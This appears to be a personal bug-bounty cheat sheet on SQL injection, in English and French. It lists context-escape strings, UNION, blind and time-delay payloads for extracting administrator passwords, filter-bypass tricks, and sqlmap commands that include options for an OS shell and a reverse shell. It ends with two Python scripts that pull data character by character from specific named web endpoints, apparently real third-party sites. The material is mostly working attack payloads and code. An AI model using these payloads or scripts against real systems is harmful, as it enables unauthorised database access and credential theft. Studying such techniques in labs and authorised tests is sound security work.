###### tags: `Bug-Bounty` 'SQLi' # SQL Injection ## **Step 1 (Escape from context):** - ``` [Nothing] ``` - ``` ' ``` - ``` " ``` - ``` ` ``` - ``` ') ``` - ``` ") ``` - ``` `) ``` - ``` ')) ``` - ``` ")) ``` - ``` `)) ``` - ``` '|| ``` - ``` '; ``` - ``` '%3B ``` (url-encoded) ## **Step 2 (Clean, Combine or finish request)** **Prevent any Result (at start of injection):** - ```'AND O``` **Combine Request :** - ```'UNION SELECT ...``` **End the request to start another one :** - ```;``` ## **Step 3 (Understand the table and database)** **Finding a column containing text** - ```'+UNION+SELECT+NULL,'test',NULL--``` *(change the column for text)* **Determine the number of column returned** - ```'ORDER+BY+5--'``` (Modify number to know number of columns) - ```'+UNION+SELECT+NULL,NULL,NULL--``` - ```'+UNION+SELECT+NULL,NULL,NULL#``` *(add or remove some NULL)* **Discover SQLite hidden table :** - ```'UNION SELECT sql FROM sqlite_master --``` **Discover all table :** - ```'UNION SELECT TABLE_NAME,NULL FROM INFORMATION_SCHEMA.TABLES--``` (not oracle) - ```'UNION SELECT table_name, NULL FROM all_tables--'``` (oracle) (one or more NULL) **Discover all column :** - ```'UNION SELECT COLUMN_NAME,NULL FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='name_of_table'--``` - ```'UNION SELECT column_name,NULL FROM all_tab_columns WHERE table_name='name_of_table'--``` ## **Step 4 (Inject or Extract some data)** **Bypass Condition:** - ```' OR '1``` - ```'+OR+1=1--``` *(show all)* **Multiple Value in a single column** - ```'UNION+SELECT+NULL,username||'~'||password+FROM+users--``` **Insert Injection :** ex : ```'INSERT INTO maillinglist(email, enabled) VALUES ('$mail', TRUE);``` - ```', (SELECT password FROM users WHERE username = 'admin')) --``` *We can bypass the 2nd value and write a SELECT request at the place of the TRUE variable.* ## **Step 5 (Bypass Filters and Limits)** **Escape end of line :** - ```--``` (all) - ```-- ``` (Space after double dash for MySQL) - ```#``` (MySQL) **Escape end of block :** - ```/*``` (all except oracle) **Bypass Whitespace filter :** - ```/**/``` - ```'FROM(users)WHERE(username='admin')``` (parentheses and empty comments) **Bypass Word Filter :** *If password is filtered just duplicate it :* - pass~~password~~word -> password *Or convert it to hex :* - 0x70617373776f7264 *Another idea* - %00password - PaSSwOrD - %50%41%53%53%57%4f%52%44 *URLENCODED* - %2550%2541%2553%2553%2557%254f%2552%2544 *DOUBLE URLENCODE* **Bypass mysql_real_escape_string** - ```%bf%27 or 1=1-- ``` - ```¿'or+1=1-- ``` ## **Blind SQL** ### **Conditional Responses** [https://portswigger.net/web-security/sql-injection/blind/lab-conditional-responses](https://portswigger.net/web-security/sql-injection/blind/lab-conditional-responses) ### Step 1 - ```'AND (SELECT 'a' FROM users LIMIT 1)='a``` *Message is shown if table "users" exist* ### Step 2 - ```' AND (SELECT 'a' FROM users WHERE username='administrator')='a``` *Message is shown if 'administrator' user exist* ### Step 3 - ```' AND (SELECT 'a' FROM users WHERE username='administrator' AND LENGTH(password)>1)='a``` (increase 1,2,3 ... till an error occur) *Error is shown when length is too high for the word* ### Step 4 *Send to Burp Intruder* - Clear $ - ```' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='administrator')='a``` (place $ around last "a") - In Payload "Add from list" "a-z" and "0-9" (or/and A-Z) - In Options "Grep - Match", clean the items and add "Welcome back" or your response when it's true - Now "Start Attack" and check what char is valid [x] - Change the first "1" from SUBSTRING in the request to 2,3,4 ... ### **Conditional Errors** [https://portswigger.net/web-security/sql-injection/blind/lab-conditional-errors](https://portswigger.net/web-security/sql-injection/blind/lab-conditional-errors) ### Step 1 *Discover the type of DB (Oracle or not)* - ```'||(SELECT '' FROM dual)||'``` (Oracle) - ```'||(SELECT '')||'``` (not Orcale) *If nor error occur then it's working* ### Step 2 *Verify existence of "users" table* - ```'||(SELECT '' FROM users WHERE ROWNUM = 1)||'``` *"ROWNUM" prevent query from returning more than one row* ### Step 3 *Verify if user "administrator" exist* - ```'||(SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'``` *Error if "administrator" user exist* ### Step 4 *Determine length of "administrator" password* - ```'||(SELECT CASE WHEN LENGTH(password)>1 THEN to_char(1/0) ELSE '' END FROM users WHERE username='administrator')||'``` *Increase the number till no error occur* ### Step 5 *Determine the password with Burp Intruder* - ```'||(SELECT CASE WHEN SUBSTR(password,1,1)='a' THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'``` *Putt $ around first 'a' and increase first "1" of SUBSTR everytime* ### **Time Delays** ### Step 1 - ``` '||pg_sleep(10)-- ``` (PostgreSQL) - ``` '%3BSELECT+CASE+WHEN+(1=1)+THEN+pg_sleep(3)+ELSE+pg_sleep(0)+END-- ``` (PostgreSQL) - ``` 'SELECT sleep(10) ``` (MySQL) - ``` 'WAITFOR DELAY '0:0:10' ``` (Microsoft) - ``` 'dbms_pipe.receive_message(('a'),10) ``` (Oracle) ### Step 2 *Verify existence of "administrator" in "users" table* - ```'%3BSELECT+CASE+WHEN+(username='administrator')+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users--``` ### Step 3 *Verify length of "administrator" password* - ```'%3BSELECT+CASE+WHEN+(username='administrator'+AND+LENGTH(password)>1)+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users--``` *Increase the number till wrong time delay occur* ### Step 4 *Use Burp Intruder or Turbo Intruder* - ```'%3BSELECT+CASE+WHEN+(username='administrator'+AND+SUBSTRING(password,1,1)='a')+THEN+pg_sleep(3)+ELSE+pg_sleep(0)+END+FROM+users--``` ## Tools ### SQLmap : - Basic payload with request in a file, random User-Agent and level/risk max, to discover the databases ``` python sqlmap.py -r requete.txt -p "parametre_vuln" --random-agent --level=5 --risk=3 --dbs ``` - POST request, with content explained in "--data", with restriction on prefix/suffix of the payload ``` sqlmap -u https://<DOMAIN>/Login.aspx/Verify --force-ssl --headers="Content-Type: application/json; charset=utf-8" --prefix="admin';" --suffix="--@airasia.com" --data="{\"email\":\"*\"}" --dbms MSSQL --tables ``` ## **Bonus** Use substring for discover char on by one : ```. >64 & <123 And modify >96 ...``` **Understand the type and filter of parameter** - Just add [] at the end of the parameter name (ex: username[]=test) *We can see if preg_match or mysql_real_escape_string is used* Liens utiles : https://portswigger.net/web-security/sql-injection/cheat-sheet https://book.hacktricks.xyz/pentesting-web/sql-injection TEST : oyhgylqstx7igenbixue ## SQLMap 1) Capture dans la requête > r.txt 2) Connaitre le type de DB 3) Dump les DB 4) Dump les tables d'un DB 5) Dump le contenu d'une ou plusieurs tables Les options : - -r r.txt (prend en entrée une requête) - --batch (skip les question de SQLmap) - --risk 3 - - level 5 (Test en profondeur) - -p le_parametre_vuln (si on connait le paramètre) - --dbms MSSQL (mettre le type de DB) - --tamper [payload.py](http://payload.py) (choisir un tamper de bypass) - --dbs (pour récupérer les databases) - --random-agent (pour changer d'user-agent) - --threads 10 (augmente le nombre de threads et donc la vitesse) - -D la_db --tables (pour récupérer les tables d'une DB) - - T user --columns (pour récupérer les champs d'une table) - -T users -C username,password (pour récupérer les champs username,password de la table users) - --dump (pour crack les pass) - --os-shell (shell interactif) - --os-pwn (spawn un reverse shell) - --current-user Retrieve DBMS - --current user - --current-db Retrieve DBMS current database - --hostname Retrieve DBMS server hostname - --is-dba Detect if the DBMS current user is DBA - --users Enumerate DBMS users - --passwords Enumerate DBMS users password hashes - --privileges Enumerate DBMS users privileges - --roles Enumerate DBMS users roles Ex : ```sql sqlmap -r r.txt --batch --risk 3 --level 5 -p vulnParam --dbms MSSQL --tamper charencode --dbs ``` #### Tools : - SQLmap - Turbo Intruder / Intruder (Burp) #### Sites : [https://book.hacktricks.xyz/pentesting-web/sql-injection](https://book.hacktricks.xyz/pentesting-web/sql-injection) [https://medium.com/@drag0n/sqlmap-tamper-scripts-sql-injection-and-waf-bypass-c5a3f5764cb3](https://medium.com/@drag0n/sqlmap-tamper-scripts-sql-injection-and-waf-bypass-c5a3f5764cb3) (Tamper SQLmap) [https://ismailtasdelen.medium.com/sql-injection-payload-list-b97656cfd66b](https://ismailtasdelen.medium.com/sql-injection-payload-list-b97656cfd66b) (Différents Tools/Payload) #### Payloads files : # POST SQLi, in JSON body - Can change "charset", "url", "cookies", "headers" ``` import requests charset="abcdefghijklmnopqrstuvwxyz" burp0_url = "https://<domain>/<path>" burp0_cookies = {"ASP.NET_SessionId": "k2im4oewkz14h4ahcgyozxfv"} burp0_headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/110.0", "Accept": "application/json, text/javascript, */*; q=0.01", "Accept-Language": "fr,fr-FR;q=0.8,en-US;q=0.5,en;q=0.3", "Accept-Encoding": "gzip, deflate", "Content-Type": "application/json; charset=utf-8", "X-Requested-With": "XMLHttpRequest", "Origin": "https://<domain>", "Referer": "https://<domain>", "Sec-Fetch-Dest": "empty", "Sec-Fetch-Mode": "cors", "Sec-Fetch-Site": "same-origin", "Te": "trailers", "Connection": "close"} c=1 dump="" while 1==1: for i in range(0,len(charset)): burp0_json={"prefixText": "'and substring((select db_name()),"+str(c)+",1)='"+charset[i]+"'--", "verifierlist": "dv"} a=requests.post(burp0_url, headers=burp0_headers, cookies=burp0_cookies, json=burp0_json).content if(b"Vcidex" in a): c=c+1 dump=dump+charset[i] print("found: "+dump) break #print(dump+charset[i]) ``` - GraphQL injection (python) ``` import requests, string url = "https://webapi.mappr.xyz:443/graphql" headers = {"Sec-Ch-Ua": "\"Chromium\";v=\"111\", \"Not(A:Brand\";v=\"8\"", "Domain": "sgp", "Sec-Ch-Ua-Mobile": "?0", "Authorization": "undefined", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.5563.111 Safari/537.36", "Content-Type": "application/json", "Accept": "*/*", "Sec-Ch-Ua-Platform": "\"Windows\"", "Origin": "https://carte.societedugrandparis.fr", "Sec-Fetch-Site": "cross-site", "Sec-Fetch-Mode": "cors", "Sec-Fetch-Dest": "empty", "Referer": "https://carte.societedugrandparis.fr/", "Accept-Encoding": "gzip, deflate", "Accept-Language": "fr-FR,fr;q=0.9,en-US;q=0.8,en;q=0.7"} def get_length(req, offset): for i in range(200): json={"operationName": "Datasets", "query": "query Datasets($projectId: String!) {\n datasets(projectId: $projectId) {\n id\n isDictionary\n fields\n indexes {\n name\n type\n __typename\n }\n __typename\n }\n}\n", "variables": {"projectId": f"62b42466a61528f5ba1e4d72' or length(({req} limit 1 offset {offset}))={i} and '1'='1"}} r = requests.post(url, headers=headers, json=json) if not "not exist" in r.text: print(f"[+] Length found : {i}") break return i def get_data(req, offset): res = "" char_list = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!#$%&()*+,-./:;<=>?@[\\]^_`{|}~" print(f"[?] Try : {req} limit 1 offset {offset}") for i in range(1, get_length(req, offset)+1): for char in char_list: json={"operationName": "Datasets", "query": "query Datasets($projectId: String!) {\n datasets(projectId: $projectId) {\n id\n isDictionary\n fields\n indexes {\n name\n type\n __typename\n }\n __typename\n }\n}\n", "variables": {"projectId": f"62b42466a61528f5ba1e4d72' or substr(({req} limit 1 offset {offset}),{i},1)='{char}' and '1'='1"}} r = requests.post(url, headers=headers, json=json) if not "not exist" in r.text: res += char print(f"[+] Result : {res}", end="\r") break print(f"[+] Result : {res}") get_data("SELECT datname FROM pg_database", 1) ```